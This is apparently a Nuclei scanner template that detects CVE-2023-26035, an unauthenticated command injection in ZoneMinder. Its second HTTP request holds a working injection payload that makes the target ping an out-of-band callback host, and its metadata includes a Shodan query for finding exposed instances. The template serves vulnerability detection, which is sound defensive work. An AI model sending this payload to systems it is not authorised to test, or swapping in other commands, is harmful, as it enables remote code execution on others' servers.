id: CVE-2023-26035

info:
  name: ZoneMinder Snapshots - Command Injection
  author: Unblvr1,whotwagner
  severity: critical
  description: |
    ZoneMinder is a free, open source Closed-circuit television software application for Linux which supports IP, USB and Analog cameras.Versions prior to 1.36.33 and 1.37.33 are vulnerable to Unauthenticated Remote Code Execution via Missing Authorization. There are no permissions check on the snapshot action, which expects an id to fetch an existing monitor but can be passed an object to create a new one instead. TriggerOn ends up calling shell_exec using the supplied Id.
  remediation: This issue is fixed in This issue is fixed in versions 1.36.33 and 1.37.33.
  reference:
    - https://www.rapid7.com/db/modules/exploit/unix/webapp/zoneminder_snapshots/
    - https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-72rg-h4vf-29gr
    - https://packetstormsecurity.com/files/175675/ZoneMinder-Snapshots-Command-Injection.html
    - https://github.com/rvizx/CVE-2023-26035
    - https://nvd.nist.gov/vuln/detail/CVE-2023-26035
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-26035
    cwe-id: CWE-862
    epss-score: 0.97003
    epss-percentile: 0.99723
    cpe: cpe:2.3:a:zoneminder:zoneminder:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: zoneminder
    product: zoneminder
    shodan-query: html:"ZM - Login"
  tags: cve,cve2023,rce,zoneminder,unauth,packetstorm
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /index.php HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: csrf_token
        group: 1
        regex:
          - csrfMagicToken = \"(key:[a-f0-9]{40},\d+)
        internal: true

  - raw:
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        view=snapshot&action=create&monitor_ids[0][Id]=;ping+{{interactsh-url}}&__csrf_magic={{csrf_token}}

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, "dns")
# digest: 4a0a004730450221008b4a73452ed681a25f40c5d8e7147de5a1a677aa0219ecfccd0e91aa6d829e010220268da47753cbd7b38ff64871e15e81c9fea1d053df5af7339687863c544545f2:922c64590222798bb761d5b6d8e72950